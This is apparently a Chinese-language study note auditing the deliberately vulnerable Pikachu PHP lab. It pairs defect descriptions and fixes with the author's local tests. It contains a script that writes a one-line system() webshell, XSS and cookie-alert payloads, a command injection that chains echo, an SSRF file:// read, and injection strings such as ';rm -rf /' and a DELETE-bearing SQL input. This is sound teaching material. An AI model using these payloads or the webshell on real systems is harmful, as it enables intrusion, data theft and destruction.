pikachu代码审计
写一句话的文件
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$myfile = fopen("yijuhua.php","w");
$txt = '<?php system($_GET[x]);?>';
fwrite($myfile,$txt);
fclose($myfile);
?>
高等级缺陷
输入验证:导入危险文件
**危险代码:**
如果攻击者能指定PHP需要包含的文件,将有可能导致恶意代码的执行。
**例如**:以下代码采用了动态包含文件的方式。
<?php
include($_GET['param']);
?>
如果攻击者将param参数设置为一个恶意的URL,将导致程序包含来自外部站点的文件,从而导致恶意代码被执行。
**修复建议:**
如果程序需要由用户指定PHP需要包含的文件,那么应当对用户的输入进行严格的校验。比如创建一份合法文件列表,仅允许用户从该列表中进行选择。
**例如**:下面代码中,$file的值被枚举出来,避免了任意文件包含的风险。
<?php
$file = intval($_GET['file']);
$safefiles = array("main", "foo", "bar");
if($file >= 0 && $file <= 3){
include '/home/wwwwrun/include/'.$safefiles[$file].'.php';
}
?>
用于测试的1.txt的位置
缺陷1
缺陷2
缺陷3
输入验证:重定向
危险代码:
未经验证的用户输入被当成重定向的URL或URL的一部分时,将导致重定向攻击。
**例如**:以下PHP代码片段中使用GET参数作为重定向的URL。
<?php
$url = $_GET["url"];
header("Location: " . $url);
?>
如果攻击者给服务器提供如下的输入:
http://example.com/example.php?url=http://malicious.example.com
浏览器将被重定向至恶意链接`http://malicious.example.com`。
修复建议:
防止重定向漏洞的方法有:
1. 避免将不可信的用户输入作为URL或URL的一部分。
2. 如果无法避免,则需要使用白名单来严格限制用户可以重定向的地址。
下面是一个合法URL列表例子:
<?php
$legal_urls = array("http://www.a.com", "http://www.b.com", "www.c.com");
$index = intval($_GET['url']);
if($index < 3 && $index >= 0){
header("Location: " . $legal_urls[$index]);
}
?>
缺陷1
输入
127.0.0.1/pikachu-master/vul/urlredirect/urlredirect.php?url=http://www.baidu.com
页面跳转到
输入验证:路径遍历
**危险代码:**
应用程序对用户输入未经合理校验,就作为路径传送给一个文件API,将导致路径遍历攻击。攻击者可能会使用一些特殊的字符(如“..”和“/”)绕过限制,访问一些受保护的文件或目录。
**例如**:下面的代码使用一个$\_GET参数作为文件名。
<?php
$filename = $_GET['filename'];
unlink("/safe_dir/" . $filename);
?>
如果攻击者传入类似于“`../../../../../../etc/passwd`”的文件名,将可能导致系统的重要文件被删除。
另外,在PHP中,一些文件函数例如file\_get\_contents、fopen等,支持`scheme://...`形式的文件名输入。这时,如果文件名参数被攻击者控制,还有可能发生服务器端请求伪造攻击。
**修复建议:**
防止路径遍历的方法包括:
1. 避免让用户控制需要操作的路径。
2. 确实需要用户提供路径的,应该使用白名单来限制用户的输入范围。
3. 如果白名单无法满足业务逻辑的需要,则需要限制用户的输入(比如只允许输入字母数字等)来降低危害。
以下例子采用白名单来限制用户的输入:
<?php
$fileindex = intval($_GET["fileindex"]);
$files = array("a.txt", "b.txt", "c.txt");
unlink("/tmp/". $files[$fileindex]);
?>
缺陷1、2(不确定)
看源代码,主要是把临时文件移动到指定的位置,以及文件命名处理
思考,是不是可以把文件名,改为…/…/来跳出开发人员预定文件保存路径
的自己实验测试,发现…/…/没了。不知道为什么
所用的测试代码
<html>
<body>
<form action="#" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
<?php
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br />";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Stored in: " . $_FILES["file"]["tmp_name"];
//move uploaded file($file['file']['tmp_name'], $file['file']['name']);
}
?>
测试结果
还没有经过任何函数,…/…/却没了,…/…/ 转义也没有作用,接收到的结果都是01.jpg
在实验过程中发现临时存储的文件,并不能搜索到,也就是如果不存。
Stored in: C:\Windows\php4352.tmp
缺陷3
服务器开放端口探测
SSRF(Server-Side Request Forgery:服务器端请求伪造)
存在ssrf漏洞的站点主要利用四个协议,分别是http、file、gopher、dict协议
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
数据流:攻击者----->服务器---->目标地址
根据后台使用的函数的不同,对应的影响和利用方法又有不一样
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,则请做好目标地址的过滤。
file协议
File协议:
FIle协议也叫 本地文件传输协议 ,主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件或者通过右键单击‘打开’一样。即 File协议是访问你本机的文件资源。
要使用File协议,基本的格式如下:file:///文件路径。
例如:
file:///D:/mywebproject/bigwatermelon/index.html
http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_curl.php?url=file:///D:\phpstudy_pro/WWW/dmsj-pikachu/test.php
被读取的文件test.php
读www目录外的文件
跨站脚本:存储型XSS
**危险代码**
应用程序从数据库或其它后端数据存储获取不可信的数据,在未检验数据是否存在恶意代码的情况下,便将其传送给了Web用户,应用程序将易于受到存储型XSS攻击。
**例1**:以下代码片段从数据库中查询所有已登录的用户,并显示出相应的用户名称。
<?php
$query = 'SELECT * FROM users WHERE login = 1';
$results = mysql_query($query);
if (!$results) {
exit;
}
//Print list of users to page
echo '\<div id="userlist"\>Currently Active Users:';
while ($row = mysql_fetch_assoc($results)) {
echo '<div class="userNames">'.$row['fullname'].'</div>';
}
echo '</div>';
?>
如果fullname的值是由用户提供的,且存入数据库时没有进行合理的校验,那么攻击者就可以利用上面的代码进行存储型XSS攻击。
**例2**:以下代码片段将数据库中查询的数据输出到浏览器。
<?php
$image_oid = 189762345;
$database = pg_connect("dbname=jacarta");
pg_query($database, "begin");
$handle = pg_lo_open($database, $image_oid, "r");
pg_lo_read_all($handle);
pg_query($database, "commit");
?>
pg\_lo\_open会直接将数据库内容发送到浏览器,如果数据库中含有恶意的字符,那么攻击者就可以利用上面的代码进行存储型XSS攻击。
**修复建议**
为了避免存储型XSS攻击,建议采用以下方式进行防御:
1. 输入验证:对用户的输入进行合理验证(比如只允许输入字母或数字)。
2. 输出编码:根据数据在HTML文档中出现的位置(HTML标签、HTML属性、JavaScript脚本、CSS、URL等),对所有不可信数据进行恰当的输出编码。例如,在HTML标签或者HTML属性中输出不可信的数据,可以采用`htmlentities()`和`htmlspecialchars()`进行HTML编码。
3. 避免使用类似于pg\_lo\_open的函数。
4. 为Cookie设置HTTPOnly属性,浏览器将禁止页面的JavaScript访问带有HTTPOnly属性的Cookie,从而避免攻击者利用跨站脚本漏洞进行Cookie劫持攻击。给Cookie添加HTTPOnly属性的代码如下:
<?php
setcookie("abc", "test", 0, "abc", "app.abc.com", true, true); //最后一个参数用来设置HTTPOnly属性。
?>
缺陷1
payload:
<img src=1 οnerrοr=alert(20230108)>
查阅资料感觉,escape函数对xss的防御并没有什么帮助
补充
php中echo里的单引号,双引号的区别,双引号里的变量会被执行,获取变量值。单引号会将变量名看作普通字符串。(如果之前定义了两个变量$a,$ab,那么可以用花括号把变量框起来,避免歧义)
缺陷2、3(误报)
缺陷4
其实是命令执行漏洞。也可以搞出出反射xss
输入127.0.0.1 && echo "<script>alert(document.cookie)</script>"
弹窗了
输入127.0.0.1 && echo "<script>window.location.href="http://www.baidu.com"</script>"
页面跳转到百度
跨站脚本:反射型XSS
与存储型xss原理相同,只不过反射型xss的恶意语句没有被存入数据库,仅仅是前端输入恶意语句到前端,后端将恶意语句输出至前端。
**危险代码**
应用程序通过Web请求获取不可信的数据,在未检验数据是否存在恶意代码的情况下,便将其传送给了Web用户,应用程序将容易受到反射型XSS攻击。
**例如**:下面PHP代码中,将用户输入的参数直接输出到页面上。
<?php
$param = $_GET['param']; //Attackers may input code such as “<script>alert(document.cookie);</script>”
echo "<div>".$param."</div>";
?>
如果param里有包含恶意代码,那么Web浏览器就会执行该代码,应用程序将受到反射型XSS攻击。
部分现代浏览器已经能较好的识别并阻止反射型XSS攻击,不过我们不应该依赖这种机制,毕竟不是所有的浏览器都能很好的识别这种攻击。
**修复建议**
为了避免反射型XSS攻击,建议采用以下方式进行防御:
1. 输入验证:对用户的输入进行合理验证(比如只允许输入字母或数字)。
2. 输出编码:根据数据在HTML文档中出现的位置(HTML标签、HTML属性、JavaScript脚本、CSS、URL等),对所有不可信数据进行恰当的输出编码。例如,在HTML标签或者HTML属性中输出不可信的数据,可以采用`htmlentities()`和`htmlspecialchars()`进行HTML编码。
3. 为Cookie设置HTTPOnly属性,浏览器将禁止页面的JavaScript访问带有HTTPOnly属性的Cookie,从而避免攻击者利用跨站脚本漏洞进行Cookie劫持攻击。给Cookie添加HTTPOnly属性的代码如下:
<?php
setcookie("abc", "test", 0, "abc", "app.abc.com", true, true); //最后一个参数用来设置HTTPOnly属性。
?>
缺陷6
定义和用法
simplexml_load_string() 函数转换形式良好的 XML 字符串为 SimpleXMLElement 对象。
语法
simplexml_load_string(data,classname,options,ns,is_prefix);
缺陷8
代码注入:命令注入
**危险代码**
命令注入是指应用程序执行外部命令时,被当作命令的字符串或字符串的一部分是不可信的数据,程序没有对这些不可信的数据进行验证、过滤,导致程序执行恶意命令的一种攻击方式。
**例如**:下面的PHP代码片段使用system()执行命令。
<?php
$userName = $_POST["user"];
$command = 'ls -l /home/' . $userName;
system($command);
?>
代码没有对$userName做输入验证,如果恶意用户输入以下内容:
;rm -rf /
system函数执行的命令变成如下内容:
ls -l /home/;rm -rf /
由于分号";"在Linux和Unix系统下是命令分隔符,系统会首先执行ls命令,然后执行rm命令,删除系统的所有文件。
除了常规的命令执行方式,PHP中还有一些方式可以间接的执行命令。例如在imap扩展中,如果打开了imap.enable\_insecure\_rsh选项,并且imap\_open的第一个参数被用户控制,那么攻击着就能将精心构造的恶意字符串传入imap\_open的第一个参数,从而在服务器执行任意命令。
**修复建议**
防止命令注入的方法如下:
1. 白名单:如果只允许运行有限的命令,可以创建一份安全字符串列表,限制用户只能输入该列表中的数据。
2. 输入验证:根据业务逻辑,对用户的输入进行合理验证,比如输入仅允许是字母和数字。
使用白名单的示例代码如下:
<?php
$dirs = array("a", "b", "c");
$index = intval($_POST["dir"]);
system('ls '.$dirs[$index]);
?>
需要注意的是,使用escapeshellarg或escapeshellcmd函数能解决一部分命令注入问题,但并不能完全依赖它。因为即使进行了过滤转义,命令所执行的内容依然可以被攻击者控制。
代码注入:动态解析代码
**危险代码**
PHP允许在运行时动态解析执行源代码,当这一功能被恶意的用户利用,就会造成代码注入攻击。
**例如**:下面的代码用于动态声明给变量赋值。
<?php
$var = "var";
$x = $_GET['arg'];
eval("\$var = $x;");
?>
如果攻击者发送如下的请求,就会产生代码注入攻击:
/index.php?arg=1;phpinfo()
**修复建议**
在任何时候,都应尽可能地避免动态的解析源代码。如果由于程序的业务需求,不能避免对代码进行动态解析,那么不要直接解析执行未经验证的用户输入,而应该创建一份白名单,用户只能从中选择要进行的动作或需要使用的数据。
**例如**:下面代码片段,能过滤掉非法输入。
<?php
$var = "var";
$x = $_GET['arg'];
$filter = array("1", "2");
$x = $filter[intval($x)];
eval("\$var = $x;");
?>
缺陷1
输入
1;phpinfo();
代码注入:SQL注入
**危险代码**
SQL注入是一种数据库攻击手段。攻击者通过向应用程序提交恶意代码来改变原SQL语句的含义,进而执行任意SQL命令,达到入侵数据库乃至操作系统的目的。
**例如**:下面代码使用用户提交的数据来构造SQL查询。
<?php
$name = $_POST['name'];
mysql_query("SELECT * FROM tbl_users WHERE userLogin = '$name'");
?>
如果攻击者提供如下的name字符串进行SQL注入:
validuser' OR '1'='1
当其注入到命令时,命令就会变成:
SELECT * FROM tbl_users WHERE userLogin = 'validuser' or '1' = '1'
这样就导致tbl\_users表的所有信息被泄露。
更坏的情况是,攻击者可以输入如下的字符串:
validuser'; DELETE FROM tbl_users; SELECT * FROM tbl_users WHERE '1'='1
这样,SQL语句就变成了三条,导致整个tbl\_users表被删除。
**修复建议**
SQL注入的根本在于本应是数据的部分,被当作了SQL命令来执行。防止SQL注入的方法如下:
1. 正确使用预编译SQL语句,绑定变量。例如可以将描述的例子改写为使用参数化SQL查询的方式。
<?php
$mysqli = new mysqli($host,$user, $password, $db);
$name = $_POST['name'];
$query = "SELECT * FROM tbl_users WHERE userLogin = ?";
$stmt = $mysqli->prepare($query);
$stmt->bind_param('s',$name);
$stmt->execute();
?>
2. 如果构造SQL指令时需要动态加入约束条件,可以通过创建一份白名单,从中选择需要约束的条件字段,来避免SQL注入攻击。
缺陷1